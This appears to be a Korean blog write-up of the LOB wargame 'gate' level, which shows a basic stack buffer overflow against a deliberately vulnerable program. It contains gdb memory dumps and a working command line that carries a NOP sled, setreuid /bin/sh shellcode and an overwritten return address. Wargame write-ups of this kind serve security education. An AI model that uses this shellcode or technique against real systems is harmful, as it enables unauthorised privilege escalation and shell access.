본문 바로가기

WarGame/LOB

[LOB] gate :: Basic Buffer Overflow


※ LOB는 다음과 같은 이유로 기존의 bash에서 bash2로 변경하여 사용해야 합니다.



☞ Bash or Bash2?

Redhat Linux 6.2는 기본적으로 Bash의 버전이 1.14버전입니다.

이 버전에서는 0xff를 인식하지 못하는 버그를 가지고 있기 때문에, 문자열의 끝을 알리는 0xff가 0x00과 같은 역할을 하게 됩니다.

따라서 중간에 0xff가 들어가게 되면 문자열이 복사되는 strcpy를 하면서 문자열이 중간에 잘리게 되겠죠...

하지만, bash2는 이 버그를 픽스한 2.3버전이기 때문에 bash2를 사용해야 Payload에 0xff를 넣을 수 있습니다.


[참고] http://iostreamcpp.tistory.com/entry/Level-01-Gate#recentComments



우리는 지식인 임으로 다음과 같이 /etc/passwd를 수정하여 로그인 시 자동으로 bash2를 띄우도록 하겠습니다.

vi /etc/passwd

:%s/bash/bash2/





  • User : gate
  • 문제 : gremlin


gremlin.c의 소스코드는 다음과 같습니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
/*
        The Lord of the BOF : The Fellowship of the BOF
        - gremlin
        - simple BOF
*/
 
int main(int argc, char *argv[])
{
    char buffer[256];
    if(argc < 2){
        printf("argv error\n");
        exit(0);
    }
    strcpy(buffer, argv[1]); // Vulnerability!!!!
    printf("%s\n", buffer);
}
cs


buffer라는 배열이 선언되어 있고, Argument Count가 1개 즉, 해당 프로그램 실행 명령어에 인자가 없으면 "argv error"를 출력하면서 프로그램이 종료됩니다. 입력 크기를 지정하지 않는 strcpy() 함수의 취약점을 이용하여 buffer를 Overflow시킬 수 있습니다. buffer가 큰 것을 보니 문제 의도는 buffer 안에 shellcode를 집어넣어서 실행하라는 것 같습니다.


Step 1. 먼저 실제 메모리에 할당되어 있는 buffer의 크기를 파악해야 합니다. GDB를 이용하여 buffer에 256개의 A를 넣고 메모리를 살펴보면 실제 buffer의 크기는 C 코드에서와 같이 256 Byte이고, 그 다음 4 Byte에 SFP($ebp), 그 다음 4 Byte에 RET($ebp+4)가 존재합니다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
(gdb) b *0x804846b
Breakpoint 1 at 0x804846b
(gdb) r `python -c 'print "A"*256'`
Starting program: /home/gate/tmp/gremlin `python -c 'print "A"*256'`
 
Breakpoint 1, 0x804846b in main ()
(gdb) x/76x $esp
0xbffff920:     0xbffff928      0xbffffb7e      0x41414141      0x41414141
0xbffff930:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff940:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff950:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff960:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff970:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff980:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff990:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff9a0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff9b0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff9c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff9d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff9e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffff9f0:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa00:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa10:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa20:     0x41414141      0x41414141      0xbffffa00      0x400309cb
0xbffffa30:     0x00000002      0xbffffa74      0xbffffa80      0x40013868
0xbffffa40:     0x00000002      0x08048380      0x00000000      0x080483a1
(gdb) x/x $ebp+4
0xbffffa2c:     0x400309cb
cs


Step 2. buffer와 SFP를 포함한 260 Byte에 \x90(NOP) 199 Byte와 shellcode 61 Byte를 삽입하고 RET 값을 NOP 중간 영역의 주소값으로 수정하겠습니다. 다음과 같은 payload를 만들 수 있습니다.


1
2
3
[gate@localhost gate]$ ./gremlin `python -c 'print "\x90"*199+"\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1
\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e
\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"+"\x50\xf9\xff\xbf"'`
cs